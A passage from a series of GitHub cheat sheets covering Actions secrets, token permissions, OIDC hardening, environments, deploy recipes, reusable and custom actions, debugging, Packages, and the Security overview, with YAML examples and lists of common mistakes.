Secrets are encrypted values (API keys, tokens) read with `secrets.NAME`; GitHub masks them as *** in logs. **Variables** are plain-text config (`vars.NAME`) for non-sensitive values like a region or URL. Both can be set at **repository**, **organization** or **environment** level; the most specific level wins (environment → repo → org).

RULES

- Secrets aren't passed to workflows triggered by **fork** PRs
- Names: letters, digits, `_`; can't start with `GITHUB_`
- Max 48 KB per secret; 100 repo secrets
- Secrets can't be read back in the UI, only replaced

USING SECRETS AND VARIABLES

```yaml
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production              # unlocks env-level secrets
    steps:
      - uses: actions/checkout@v6
      - name: Deploy
        env:
          API_TOKEN: ${{ secrets.API_TOKEN }}
          REGION: ${{ vars.AWS_REGION }}
        run: ./deploy.sh --region "$REGION"
      - name: Mask a derived value
        run: |
          TOKEN=$(./get-temp-token.sh)
          echo "::add-mask::$TOKEN"
          echo "TOKEN=$TOKEN" >> "$GITHUB_ENV"

# CLI:
# gh secret set API_TOKEN --body "$TOKEN"
# gh secret set API_TOKEN --env production < token.txt
# gh variable set AWS_REGION --body us-east-2
```

CODE EXPLAINED

- → `secrets.API_TOKEN` — map into `env:`, read as `$API_TOKEN`
- → `vars.AWS_REGION` — visible, unmasked config
- → `environment:` — makes that environment's secrets available
- → `::add-mask::` — mask values made at runtime

IN THE LOGS

- $ Secret value shows as `***` — masking works
- $ Empty value / `Input required and not supplied: token` — secret not set at this level, or a fork PR

WHERE TO STORE IT

LEVEL	BEST FOR
Environment	prod/staging credentials behind approvals
Repository	keys used by one repo
Organization	shared keys; choose which repos
Variables (vars)	non-secret config: region, URLs, flags

WHAT GETS MASKED

VALUE	MASKED?
secrets.X exact value	yes
base64 / transformed secret	no — add ::add-mask::
structured JSON secret	unreliable — store fields separately
vars.X	no

⚠ COMMON MISTAKES

- Passing secrets as command-line args: they show up in process lists; use env vars
- Storing a JSON blob as one secret: individual fields may not be masked
- Using `pull_request_target` just to get secrets for fork PRs (Sheet 43)

✓ TIPS & BEST PRACTICES

- Prefer OIDC over long-lived cloud keys (Sheet 63)
- Rotate secrets on a schedule and after anyone with access leaves
- Use environment secrets + required reviewers for anything production

QUICK SUMMARY

- `secrets.NAME` — encrypted, masked
- `vars.NAME` — plain config
- environment > repo > org — precedence
- `::add-mask::` — mask runtime values

Actions: GITHUB_TOKEN & Permissions

THE AUTOMATIC TOKEN

Every job gets a fresh **`GITHUB_TOKEN`**: an installation token scoped to the current repo that expires when the job ends (or after 24 hours). Actions like `checkout` use it by default. The `permissions:` key sets exactly which scopes it gets; any scope you don't list becomes `none`. New repos and orgs default to **read-only**.

PERMISSION RULES

- `permissions:` at workflow level applies to all jobs; job level overrides
- Listing any scope sets every unlisted scope to `none`
- Fork PRs get read-only tokens no matter what you request
- `permissions: {}` — no access at all

LEAST PRIVILEGE PER JOB

```yaml
permissions:
  contents: read                    # baseline for every job
jobs:
  label-pr:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - run: gh pr edit "$PR" --add-label ci-passed
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          PR: ${{ github.event.pull_request.number }}
          GH_REPO: ${{ github.repository }}
  release:
    runs-on: ubuntu-latest
    permissions:
      contents: write               # create tags/releases
      id-token: write               # OIDC (Sheet 63)
    steps:
      - run: gh release create "v1.0.0" --generate-notes
```

CODE EXPLAINED

- → workflow `permissions:` — baseline for all jobs
- → job `permissions:` — replaces the baseline for that job
- → `GH_TOKEN` — env var the `gh` CLI reads
- → `id-token: write` — allow requesting an OIDC token

IN THE LOGS

- $ `Resource not accessible by integration` (HTTP 403) — the token is missing a scope; add it under `permissions:`
- $ `refusing to allow a GitHub App to create or update workflow` — pushing `.github/workflows/` changes needs a PAT/App with `workflows` scope

COMMON SCOPES

SCOPE	ALLOWS
`contents`	read code; write = push, tags, releases
`pull-requests`	comment, label, review PRs
`issues`	create/edit issues and comments
`packages`	push to GHCR
`pages / deployments`	publish Pages · deployment status
`actions / checks / statuses`	manage runs · report checks

SPECIAL SCOPES

SCOPE	USE
`id-token: write`	OIDC to clouds
`security-events: write`	upload code-scanning SARIF
`attestations: write`	build provenance
`vulnerability-alerts: read`	read Dependabot alerts
`models: read`	call GitHub Models

⚠ COMMON MISTAKES

- Setting `permissions: write-all` to make an error go away: every step can now push and delete
- Adding one scope at job level and losing `contents: read`: checkout fails on private repos
- Expecting pushes made with `GITHUB_TOKEN` to trigger other workflows (Sheet 45)

✓ TIPS & BEST PRACTICES

- Set the org/repo default to **read** (Settings → Actions → Workflow permissions)
- Declare `permissions:` in every workflow so reviewers see the blast radius
- Use a GitHub App token (`actions/create-github-app-token`) for cross-repo access, not a PAT

QUICK SUMMARY

- `GITHUB_TOKEN` — per-job, repo-scoped, auto-expires
- `permissions:` — declare scopes; rest = none
- `contents: read` — the safe baseline
- 403 `not accessible by integration` — missing scope

Actions: OIDC & Hardening

NO LONG-LIVED KEYS, NO INJECTION

OpenID Connect (OIDC) lets a job ask GitHub for a short-lived signed token and trade it with AWS, Azure or GCP for temporary credentials, so no cloud keys live in secrets. The cloud trusts tokens whose **subject** claim matches your repo, branch or environment. Pair OIDC with the hardening basics: no expressions in scripts, pinned actions, and minimal permissions.

OIDC SETUP

- Cloud side: add GitHub's OIDC provider (`token.actions.githubusercontent.com`) and a role
- Trust policy: match `sub` , e.g. `repo:ORG/REPO:environment:production`
- Workflow: `permissions: id-token: write`
- Tokens last minutes; nothing to rotate

AWS VIA OIDC + SAFE SCRIPT INPUT

```yaml
permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v6
      - uses: aws-actions/configure-aws-credentials@v5
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gh-deploy
          aws-region: us-east-2
      - run: aws s3 sync ./site s3://my-bucket --delete

      # ✖ injection: title is pasted into the script
      # - run: echo "${{ github.event.issue.title }}"
      # ✔ safe: value arrives as data
      - env:
          TITLE: ${{ github.event.issue.title }}
        run: echo "$TITLE"
```

CODE EXPLAINED

→ `id-token: write` — required to mint the OIDC token

→ `role-to-assume` — AWS role whose trust policy allows this repo

→ `environment:` — becomes part of the `sub` claim

→ `env:` + `"$TITLE"` — the injection-proof pattern

IN THE LOGS

$ `Could not assume role with OIDC: Not authorized to perform sts:AssumeRoleWithWebIdentity` — the trust policy's `sub` / `aud` doesn't match this run

$ `Credentials could not be loaded` — missing `id-token: write`

OIDC LOGIN ACTIONS

CLOUD	ACTION
AWS	aws-actions/configure-aws-credentials
Azure	azure/login (client-id, tenant-id)
GCP	google-github-actions/auth (workload_identity_provider)
HashiCorp Vault	hashicorp/vault-action (method: jwt)

HARDENING CHECKLIST

DO	WHY
pin actions to SHAs	tags can be moved
Dependabot for github-actions	update pins safely
allowed-actions policy	only approved actions run
CODEOWNERS on .github/workflows	review workflow changes
zizmor / actionlint in CI	catch injection and misconfig

⚠ COMMON MISTAKES

- Trust policy `sub` = `repo:ORG/*` : every repo and branch in the org can assume the role
- Leaving old access keys in secrets after moving to OIDC
- Thinking `env:` protects against injection when you then `eval "$TITLE"`

✓ TIPS & BEST PRACTICES

- Scope trust to `environment:production` so only approved deploy jobs get prod access
- Run **zizmor** to audit workflows for injection, excessive permissions and unpinned actions
- Turn on Settings → Actions → **Require actions to be pinned to a full-length commit SHA** where available

QUICK SUMMARY

- OIDC — short-lived cloud creds, no stored keys
- `id-token: write` — required permission
- `env:` not `${{ }}` in `run:` — stop injection
- pin · review · lint — hardening basics

Actions: Environments & Approvals

environment: · required reviewers · wait timer · deployment branches · environment secrets

GATES IN FRONT OF DEPLOYS

An **environment** (Settings → Environments) represents a deploy target like `staging` or `production`. A job that names it with `environment:` must pass the environment's **protection rules** before it starts: required reviewers, a wait timer, or allowed branches/tags. It also gets that environment's own **secrets and variables**, and each run is recorded in the repo's deployment history.

ENVIRONMENT FACTS

- Referencing a missing environment creates it (no rules)
- Up to 6 required reviewers; one approval is enough
- Wait timer: 1–43,200 minutes (30 days)
- Approval requests expire after 30 days

STAGING, THEN APPROVED PRODUCTION

```yaml
jobs:
  staging:
    runs-on: ubuntu-latest
    environment:
      name: staging
      url: https://staging.example.com
    steps:
      - run: ./deploy.sh staging
        env: { TOKEN: "${{ secrets.DEPLOY_TOKEN }}" }  # staging's
  production:
    needs: staging
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment:
      name: production                # reviewers must approve
      url: ${{ steps.deploy.outputs.url }}
    steps:
      - id: deploy
        run: |
          ./deploy.sh prod
          echo "url=https://example.com" >> "$GITHUB_OUTPUT"
        env: { TOKEN: "${{ secrets.DEPLOY_TOKEN }}" }  # production's
```

CODE EXPLAINED

- → `environment.name` — selects rules, secrets, variables
- → `url` — link shown on the run graph and deployments page
- → same secret name — different value per environment
- → `needs: staging` — prod waits for staging, then for approval

IN THE LOGS

- $ `Waiting for review: production needs approval to start deploying changes.` — a reviewer clicks **Review deployments**
- $ `Branch "feature/x" is not allowed to deploy to production due to environment protection rules.` — deployment branch policy

PROTECTION RULES

RULE	EFFECT
Required reviewers	people/teams approve each deploy
Prevent self-review	the person who triggered can't approve
Wait timer	delay before the job starts
Deployment branches and tags	only matching refs may deploy
Custom rules (Apps)	external checks, e.g. change windows

PLAN NOTES

TOPIC	DETAIL
Public repos	all rules on every plan
Private repos	envs need Pro/Team; reviewers & timer need Enterprise
Admins	can bypass rules unless disabled
Deployments page	history per environment

⚠ COMMON MISTAKES

- Typo in `environment: prodution`: GitHub silently creates a new, unprotected environment
- Keeping prod secrets at repo level: any workflow can read them without approval
- Expecting approvals to pause mid-job: the whole job waits before its first step

✓ TIPS & BEST PRACTICES

- Turn on **Prevent self-review** so deploys need a second person
- Restrict `production` to `main` and `v*` tags with deployment branch rules
- Pair environments with job-level `concurrency` to serialize deploys (Sheet 58)

QUICK SUMMARY

- `environment:` — gate a job behind rules
- reviewers · wait timer · branch rules
- environment secrets — per-target values
- `url:` — deploy link in the UI

Actions: Deploy & Release Recipes

THREE WORKFLOWS WORTH COPYING

Most deploys follow a pattern: build, package, publish. **GitHub Pages** deploys a folder uploaded as a Pages artifact. **Container images** are built with Docker Buildx and pushed to the GitHub Container Registry (`ghcr.io`) using `GITHUB_TOKEN`. **Releases** are created when a `v*` tag is pushed, with notes generated from merged PRs.

SETUP NOTES

- Pages: Settings → Pages → Source: **GitHub Actions**
- GHCR needs `packages: write`; the image links to the repo
- Releases need `contents: write`
- `gh` is preinstalled on hosted runners

PAGES, CONTAINER, RELEASE

```yaml
# 1) GitHub Pages — permissions: pages: write, id-token: write
  - uses: actions/upload-pages-artifact@v4
    with: { path: ./dist }
  - id: deployment
    uses: actions/deploy-pages@v4    # environment: github-pages

# 2) Container to GHCR — permissions: packages: write
  - uses: docker/login-action@v3
    with:
      registry: ghcr.io
      username: ${{ github.actor }}
      password: ${{ secrets.GITHUB_TOKEN }}
  - uses: docker/build-push-action@v6
    with:
      push: true
      tags: ghcr.io/${{ github.repository }}:${{ github.ref_name }}

# 3) Release on tag — on: push: tags: ["v*"]
  - run: gh release create "$GITHUB_REF_NAME" --generate-notes
    env: { GH_TOKEN: "${{ github.token }}" }
```

CODE EXPLAINED

- → `upload-pages-artifact` + `deploy-pages` — the Pages pair
- → `github.actor` + `GITHUB_TOKEN` — GHCR login, no PAT
- → `build-push-action` — Buildx build + push
- → `--generate-notes` — notes from PR titles since last tag
- → `github.token` — same as `secrets.GITHUB_TOKEN`

SECURITY CHECK

- ! **Risk:** a release job triggered by any tag push lets anyone with write access publish from unreviewed commits.
- ! **Fix:** protect `v*` tags with a ruleset, gate the job with an `environment:`, and add build provenance with `actions/attest-build-provenance`.

OTHER DEPLOY TARGETS

TARGET	COMMON ACTION / TOOL
AWS (S3, ECS, Lambda)	configure-aws-credentials + aws CLI
Azure Web Apps	azure/webapps-deploy
Google Cloud Run	google-github-actions/deploy-cloudrun
Kubernetes	azure/k8s-deploy or kubectl / helm
npm / PyPI	`npm publish --provenance` · pypa/gh-action-pypi-publish

IMAGE TAG PATTERNS

TAG	WHEN
`:sha-abc1234`	every build (traceable)
`:main`	latest from the default branch
`:1.4.2 / :1.4 / :1`	semver from a `v1.4.2` tag
`:latest`	newest release only
`:pr-42`	preview builds (don't push from forks)

⚠ COMMON MISTAKES

- Pages deploy without `id-token: write` and `pages: write`: the deploy step fails
- Uppercase letters in GHCR image names: registry names must be lowercase
- Building releases on `push` to main and also on tags: two releases race

✓ TIPS & BEST PRACTICES

- `docker/metadata-action` generates the tag set above from git refs
- Use `cache-from: type=gha` / `cache-to: type=gha,mode=max` to cache Docker layers
- `npm publish --provenance` and PyPI trusted publishing use OIDC: no tokens

QUICK SUMMARY

- Pages — upload artifact, then `deploy-pages`
- GHCR — login with `GITHUB_TOKEN`, build-push
- Releases — `gh release create` on `v*` tags
- gate deploys with environments

Actions: Reusable Workflows

WHOLE WORKFLOWS AS BUILDING BLOCKS

A **reusable workflow** is a normal workflow file with `on: workflow_call`. Another workflow calls it as a **job** with `uses:` pointing at the file and a ref. It can declare typed **inputs**, **secrets** and **outputs**, and its jobs run on their own runners. Nesting goes up to **10 levels**, with up to **50 workflow calls** per run.

RULES

- Called as a whole job: `jobs.<id>.uses:`, no `runs-on` or `steps`
- Caller's `env` doesn't pass in; use inputs
- Same-repo: `./.github/workflows/x.yml`
- Private callees need Settings → Actions → **Access**

CALLER AND CALLEE

```yaml
# .github/workflows/deploy-reusable.yml  (callee)
on:
  workflow_call:
    inputs:
      environment: { type: string, required: true }
    secrets:
      DEPLOY_TOKEN: { required: true }
    outputs:
      url: { value: "${{ jobs.deploy.outputs.url }}" }
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: ${{ inputs.environment }}
    outputs: { url: "${{ steps.d.outputs.url }}" }
    steps:
      - id: d
        run: echo "url=https://$ENV.example.com" >> "$GITHUB_OUTPUT"
        env: { ENV: "${{ inputs.environment }}" }

# .github/workflows/ci.yml  (caller)
jobs:
  prod:
    uses: my-org/platform/.github/workflows/deploy-reusable.yml@v2
    with: { environment: production }
    secrets: inherit                # or pass each secret by name
```

CODE EXPLAINED

- → `workflow_call.inputs` — typed: string, number, boolean
- → `secrets:` — declared, then passed or `inherit`ed
- → `outputs.value` — maps from a callee job's outputs
- → `uses: org/repo/.github/workflows/x.yml@ref` — call it
- → `job.workflow_ref` — callee can tell which file it is

SECURITY CHECK

- ! **Risk:** `secrets: inherit` hands **every** caller secret to the called workflow, including ones it doesn't need.
- ! **Fix:** pass secrets explicitly by name for workflows outside your control, and pin cross-repo calls to a tag or SHA.

IN THE LOGS

- $ `error parsing called workflow ... workflow was not found` — wrong path or ref, or the repo isn't shared
- $ `Invalid secret, DEPLOY_TOKEN is not defined in the referenced workflow` — declare it under `workflow_call.secrets`

REUSABLE WORKFLOW VS COMPOSITE ACTION

FEATURE	REUSABLE WF · COMPOSITE
Unit	jobs · steps
Own runners	yes · no (runs in caller job)
Secrets	declared/inherit · via inputs
environment: / matrix	yes · no

⚠ COMMON MISTAKES

- Adding `runs-on` or `steps` to a `uses:` job: only `with`, `secrets`, `needs`, `if`, `strategy` and a few others are allowed
- Expecting the callee to inherit the caller's `env:`
- Calling `@main` across repos: any push changes your pipeline

✓ TIPS & BEST PRACTICES

- Keep org-standard pipelines in one repo and version them with tags
- Callers can use a `strategy.matrix` to call one workflow per environment
- The callee's `permissions` can only reduce, never exceed, the caller's

QUICK SUMMARY

- `on: workflow_call` — make it reusable
- `jobs.x.uses: path@ref` — call it
- inputs · secrets · outputs — the interface
- 10 levels · 50 calls — nesting limits

Actions: Composite Actions

BUNDLE STEPS INTO ONE

A **composite action** packages several steps into a single `uses:`. It lives in a folder with an `action.yml` that declares **inputs**, **outputs** and `runs.using: composite`. Use it to remove copy-pasted setup (checkout + toolchain + cache + install) across workflows. It runs inside the caller's job, on the caller's runner.

RULES

- Every `run:` step **must** set `shell:`
- Inputs are read with `inputs.name` (all strings)
- Can call other actions with `uses:`, including composites
- No `if:` at the action level; steps can have `if:`

ACTION.YML FOR PROJECT SETUP

```yaml
# .github/actions/setup/action.yml
name: Project setup
description: Node + cache + install
inputs:
  node-version: { description: Node version, default: "22" }
outputs:
  cache-hit:
    value: ${{ steps.node.outputs.cache-hit }}
runs:
  using: composite
  steps:
    - id: node
      uses: actions/setup-node@v6
      with: { node-version: "${{ inputs.node-version }}", cache: npm }
    - run: npm ci
      shell: bash
    - run: $GITHUB_ACTION_PATH/scripts/verify.sh
      shell: bash

# In a workflow (after actions/checkout):
#   - uses: ./.github/actions/setup
#     with: { node-version: "24" }
```

CODE EXPLAINED

- → `inputs.<name>.default` — used when the caller omits it
- → `outputs.<name>.value` — map from an inner step
- → `shell: bash` — required on each `run:`
- → `$GITHUB_ACTION_PATH` — folder of this action's files

IN THE LOGS

- $ `Required property is missing: shell` — a composite `run:` step has no `shell:`
- $ The whole action appears as **one step** in the log; expand it to see inner steps

ACTION.YML KEYS

KEY	PURPOSE
`name / description`	required metadata
`inputs.<id>`	`description`, `required`, `default`
`outputs.<id>.value`	expression from inner steps
`runs.using`	`composite`, `node24`, `docker`
`branding`	Marketplace icon and color

WHERE TO KEEP IT

LOCATION	USE WITH
`./.github/actions/x`	`uses: ./.github/actions/x`
`org/actions repo, subfolder`	`uses: org/actions/x@v1`
`own public repo`	Marketplace listing

⚠ COMMON MISTAKES

- Using a local composite before `actions/checkout`: the folder doesn't exist yet
- Reading secrets inside: composites can't access `secrets`; pass them as inputs
- Comparing boolean-looking inputs to `true`: inputs are strings, use `== 'true'`

✓ TIPS & BEST PRACTICES

- Start with composites for shared setup; reach for reusable workflows when you need jobs
- Put helper scripts beside `action.yml` and call them via `$GITHUB_ACTION_PATH`
- Version shared composites with tags (`v1`) like any other action

QUICK SUMMARY

- `runs.using: composite` — steps as one action
- `shell:` — mandatory on `run:` steps
- inputs/outputs — strings; map with `value:`
- local or repo — `./path` or `org/repo/path@v1`

Actions: JavaScript & Docker Actions

WRITING REAL ACTIONS

A **JavaScript action** runs Node directly on the runner (`runs.using: node24`), starts fast and works on every OS. Use the `@actions/core` toolkit for inputs, outputs and logging, and `@actions/github` for an authenticated API client. A **Docker action** runs your image (Linux only) and suits other languages. Publish either by tagging releases in a public repo.

PACKAGING

- Commit the **bundled** `dist/index.js` (ncc / esbuild / rollup)
- `node20` actions are deprecated in favor of `node24`
- Docker actions rebuild each run unless you use `image: docker://…`
- Marketplace needs `name`, `description`, `branding` and a public repo

MINIMAL JAVASCRIPT ACTION

```yaml
// action.yml
// name: Greet  ·  inputs: { who: { required: true } }
// outputs: { time: { description: Greeting time } }
// runs: { using: node24, main: dist/index.js }
```

```
// src/index.js  →  bundle with: npx @vercel/ncc build src/index.js
import * as core from "@actions/core";
import * as github from "@actions/github";

try {
  const who = core.getInput("who", { required: true });
  core.info(`Hello ${who} from ${github.context.repo.repo}`);
  core.setOutput("time", new Date().toISOString());

  const octokit = github.getOctokit(core.getInput("token"));
  await octokit.rest.issues.createComment({
    ...github.context.repo,
    issue_number: github.context.issue.number,
    body: `Hi ${who}!`,
  });
} catch (err) {
  core.setFailed(err.message);          // marks the step failed
}
```

CODE EXPLAINED

- → `runs.using: node24` + `main:` — entry point
- → `core.getInput` / `setOutput` — read inputs, write outputs
- → `github.context` — repo, event payload, issue number
- → `getOctokit(token)` — REST/GraphQL client
- → `core.setFailed` — non-zero exit with an error annotation

SECURITY CHECK

- ! **Risk:** a public action is trusted with every user's token; a compromised maintainer account or a moved tag ships malware to all of them.
- ! **Fix:** enable 2FA, protect release tags with rulesets, publish **immutable releases**, and keep dependencies few.

@ACTIONS/CORE TOOLKIT

FUNCTION	DOES
`getInput / getBooleanInput`	read `with:` values
`setOutput / exportVariable`	step output · env var
`setSecret`	mask a value
`info / warning / error`	log + annotations

ACTION TYPES

USING:	RUNS ON · SPEED
`node24`	all OSes · fast
`docker (Dockerfile)`	Linux · builds each run
`docker (image:)`	Linux · pulls prebuilt
`composite`	all OSes · as fast as its steps

⚠ COMMON MISTAKES

- Committing `src/` without the bundled `dist/`: `Cannot find module '@actions/core'`
- Forgetting to move the `v1` major tag after a `v1.2.0` release
- Docker actions on Windows/macOS runners: not supported

✓ TIPS & BEST PRACTICES

- Start from the `actions/javascript-action` or `actions/typescript-action` template repos
- Test with a workflow in the action's own repo that does `uses: ./`
- Release: tag `v1.2.0`, then `git tag -f v1 && git push -f origin v1`

QUICK SUMMARY

- `node24` — JS action, any OS
- `@actions/core` / `@actions/github` — toolkit
- `dist/` bundle — commit it
- Docker — Linux only, any language

Actions: Debugging, Linting & Badges

FINDING OUT WHAT WENT WRONG

Start at the **first** red step: the log above the failure usually explains it. For more detail, **re-run with debug logging** (or set the `ACTIONS_STEP_DEBUG` and `ACTIONS_RUNNER_DEBUG` secrets/variables to `true`). Inside scripts, **workflow commands** (`::error::`, `::group::`) create annotations and collapsible sections, and the step summary gives a readable report.

WHERE TO LOOK

- **Annotations** on the run summary point to file and line
- **Set up job** shows image version, token permissions, action versions
- **Post** steps run cleanup (cache save, checkout cleanup)
- Download all logs: run page → ⋯ → **Download log archive**

WORKFLOW COMMANDS

```yaml
steps:
  - run: |
      echo "::group::Install"
      npm ci
      echo "::endgroup::"
      echo "::notice title=Build::Version 2.3.1"
      echo "::warning file=app.js,line=12::Deprecated API"
      echo "::error file=src/a.ts,line=4,col=7::Type mismatch"
      echo "::debug::visible only with debug logging"
  - name: Dump contexts when things go wrong
    if: failure()
    env:
      GITHUB_CTX: ${{ toJSON(github) }}
      STEPS_CTX: ${{ toJSON(steps) }}
    run: echo "$GITHUB_CTX"; echo "$STEPS_CTX"
  - run: |
      echo "## Test results" >> "$GITHUB_STEP_SUMMARY"
      echo "| Passed | Failed |" >> "$GITHUB_STEP_SUMMARY"
      echo "|---|---|" >> "$GITHUB_STEP_SUMMARY"
      echo "| 120 | 2 |" >> "$GITHUB_STEP_SUMMARY"
```

CODE EXPLAINED

- → `::group::` / `::endgroup::` — collapsible log section
- → `::notice/warning/error` — annotations, optional file/line
- → `::debug::` — shown only with debug logging on
- → `toJSON(steps)` — see each step's outcome and outputs
- → `$GITHUB_STEP_SUMMARY` — Markdown report

COMMON ERRORS → FIX

MESSAGE	FIX
`exit code 127`	tool missing / wrong dir
`Resource not accessible by integration`	add `permissions:`
`Waiting for a runner…`	fix `runs-on` label
`No files were found with the provided path`	check artifact `path`

DEBUG, LINT & BADGES

TOOL / SETTING	USE
`Re-run → Enable debug logging`	one-off verbose run
`ACTIONS_STEP_DEBUG=true`	`::debug::` + action debug output
`actionlint`	lint YAML, expressions, shellcheck
`act -j test`	run a job locally in Docker (approximate)
`…/workflows/ci.yml/badge.svg`	README status badge

⚠ COMMON MISTAKES

- Re-running the whole workflow when only one job flaked: use **Re-run failed jobs**
- Echoing `${{ toJSON(github) }}` directly in `run:`: quotes in payloads break the script; go through `env:`
- Leaving debug secrets on permanently: logs get huge and slow

✓ TIPS & BEST PRACTICES

- `::stop-commands::<token>` pauses command parsing when printing untrusted output
- Run actionlint in a pre-commit hook or a tiny CI job
- Add `?branch=main` to a badge URL to pin it to one branch

QUICK SUMMARY

- first red step — start there
- re-run with debug — verbose logs
- `::group::` / `::error::` — structure and annotate
- actionlint · act · badges — tooling

GitHub Packages & Container Registry

ghcr.io · npm / Maven / NuGet / RubyGems registries · auth with GITHUB_TOKEN or PAT · `org.opencontainers.image.source` label · publish from Actions

PUBLISHING PACKAGES ON GITHUB

GitHub Packages hosts packages next to your code: the **Container registry** (`ghcr.io`) for Docker/OCI images, plus registries for **npm**, **Maven/Gradle**, **NuGet** and **RubyGems**. Packages belong to a user or org and can be linked to a repo. From Actions, publish with `GITHUB_TOKEN` and `packages: write`; outside Actions, use a classic PAT with `write:packages`.

PACKAGE FACTS

- Public packages are free; private ones use storage + transfer quota
- npm packages must be scoped to the owner: `@octo-org/pkg`
- Fine-grained PATs don't cover most registries yet

WHO CAN DO THIS

- **Role:** Write (publish via repo) · package Admin (settings)
- **Plan:** Free (quota for private packages)
- **Repos:** public and private

CONTAINER AND NPM PUBLISHING

```
# Container image → ghcr.io
echo "$CR_PAT" | docker login ghcr.io -u USERNAME --password-stdin
docker build -t ghcr.io/octo-org/api:1.4.0 \
  --label org.opencontainers.image.source=https://github.com/octo-org/api .
docker push ghcr.io/octo-org/api:1.4.0

# npm → npm.pkg.github.com
# .npmrc
#   @octo-org:registry=https://npm.pkg.github.com
#   //npm.pkg.github.com/:_authToken=${NODE_AUTH_TOKEN}
# package.json
#   "name": "@octo-org/utils",
#   "publishConfig": { "registry": "https://npm.pkg.github.com" }
npm publish
```

CODE EXPLAINED

→ `docker login ghcr.io` — PAT or `GITHUB_TOKEN` as password

→ `image.source` label — links the image to the repo

→ `@scope:registry` — send this scope to GitHub

→ `publishConfig` — publish target for `npm publish`

REGISTRY URLS

ECOSYSTEM	REGISTRY
Containers	ghcr.io/OWNER/IMAGE
npm	npm.pkg.github.com
Maven / Gradle	maven.pkg.github.com/OWNER/REPO
NuGet	nuget.pkg.github.com/OWNER/index.json
RubyGems	rubygems.pkg.github.com/OWNER

AUTHENTICATING

WHERE	CREDENTIAL
Actions, same repo	GITHUB_TOKEN + packages: write
Actions, other repo's package	grant repo access in package settings
Your machine	classic PAT (read:packages/write:packages)
Public image pull	no auth needed

⚠ COMMON MISTAKES

- Uppercase letters in image names: registries require lowercase
- Pushing an image without the source label: it isn't linked and won't inherit repo access
- Using a personal PAT in CI when `GITHUB_TOKEN` would work

✓ TIPS & BEST PRACTICES

- In Actions: `docker/login-action` with `${{ github.actor }}` + `GITHUB_TOKEN` (Sheet 65)
- Tag images with the git SHA as well as the version
- Public packages can be pulled anonymously; no login needed

QUICK SUMMARY

- `ghcr.io` — container images
- npm / Maven / NuGet / RubyGems registries
- `GITHUB_TOKEN` in Actions · classic PAT locally
- source label — link image ↔ repo

Sheet 71

Package Access, Visibility & Cleanup

inherit repo access · package visibility · Manage Actions access · delete / restore versions · retention · storage billing

WHO CAN SEE AND USE A PACKAGE

Container (and npm) packages can **inherit access** from their linked repo, so repo permissions decide who can read and write. Otherwise, each package has its own **visibility** and access list. **Manage Actions access** lets other repos' workflows read or write it. Old versions pile up, so delete them by hand or with a cleanup workflow; deleted versions can be restored for 30 days.

FACTS

- Changing a package to public is permanent
- A public package version with 5,000+ downloads can't be deleted
- Org setting can block public packages

WHO CAN DO THIS

- **Role:** package Admin · Org owner (policies)
- **Plan:** Free (private storage counts against quota)
- **Repos:** public and private

TIDY UP A PACKAGE

1. Profile/Org → **Packages** → open the package
2. **Package settings** → **Inherit access from source repository**
3. **Manage Actions access** → **Add repository** for other repos' workflows
4. Set **visibility** (private by default for containers)
5. Delete old versions from **Versions**, or automate cleanup

AUTOMATE IT

Keep the newest 10 versions

```yaml
- uses: actions/delete-package-versions@v5
  with:
    package-name: api
    package-type: container
    min-versions-to-keep: 10
    delete-only-untagged-versions: true
```

WHERE TO FIND IT

PATH	CONTROLS
`Org → Packages → package`	versions, readme, install cmd
`Package settings`	visibility, access, delete
`Org Settings → Packages`	who can create public packages
`Settings → Billing`	storage + transfer usage

ACCESS OPTIONS

OPTION	EFFECT
`Inherit from repo`	repo roles apply to the package
`Direct access`	add people/teams with Read/Write/Admin
`Actions access`	named repos' workflows can use it
`Codespaces access`	named repos' codespaces can pull

WHAT COSTS QUOTA

ITEM	BILLED?
`Public packages`	free
`Private storage`	against plan quota
`Transfer out (private)`	outside Actions counts
`Pulls from Actions`	free

⚠ COMMON MISTAKES

- Making a package public to fix an access error: it can't go back
- Cleanup workflows deleting tagged releases: restrict to untagged or old versions
- Unlinked packages with stale access lists after team changes

✓ TIPS & BEST PRACTICES

- Link every package to a repo and inherit access
- Schedule cleanup weekly for CI images that build on every push
- Restore a deleted version within 30 days from package settings

QUICK SUMMARY

- inherit access — repo roles rule
- Actions access — cross-repo workflows
- visibility — public is permanent
- cleanup — delete-package-versions

Security Overview & Policy

THE SECURITY TOOLBOX

The **Security** tab gathers a repo's security policy, advisories and alerts from **Dependabot**, **code scanning** and **secret scanning**. Public repos get these tools free. Private repos need the paid **GitHub Advanced Security** products: **Secret Protection** (secret scanning, push protection) and **Code Security** (code scanning, Copilot Autofix, dependency review). Orgs roll settings out with **security configurations**.

FREE ON EVERY REPO

- Dependency graph + Dependabot alerts and updates
- Private vulnerability reporting + advisories
- Public repos: secret scanning, push protection, CodeQL too

WHO CAN DO THIS

- **Role:** Admin (repo) · Org owner / security manager (org)
- **Plan:** Free for public; Secret Protection / Code Security for private
- **Repos:** public and private

BASELINE FOR ANY REPO

1. Add a `SECURITY.md` with how to report privately
2. **Settings → Advanced Security**: enable **Private vulnerability reporting**
3. Enable **Dependabot alerts** + **security updates**
4. Enable **secret scanning** + **push protection**
5. Enable **code scanning → Default setup**
6. Orgs: **Org Settings → Advanced Security → Configurations** → apply to all repos

WHERE TO FIND IT

PATH	CONTROLS
`Repo → Security`	policy, advisories, alerts
`Settings → Advanced Security`	turn features on/off
`Org → Security → Overview`	risk + coverage across repos
`Org Settings → Advanced Security`	configurations, policies

WHICH TOOL FINDS WHAT

TOOL	FINDS
`Dependabot alerts`	vulnerable dependencies
`Code scanning`	bugs + vulnerabilities in your code
`Secret scanning`	committed tokens and keys
`Dependency review`	risky dependency changes in PRs
`Advisories`	your own vulnerabilities, disclosed

PAID PRODUCTS (PRIVATE REPOS)

PRODUCT	INCLUDES
`Secret Protection`	secret scanning, push protection, custom patterns
`Code Security`	code scanning, Autofix, dependency review
`Billing`	per active committer, per month

⚠ COMMON MISTAKES

- No SECURITY.md: reporters open public issues with exploit details
- Turning on alerts and never triaging them: alert fatigue wins
- Configuring each repo by hand in an org: use security configurations

✓ TIPS & BEST PRACTICES

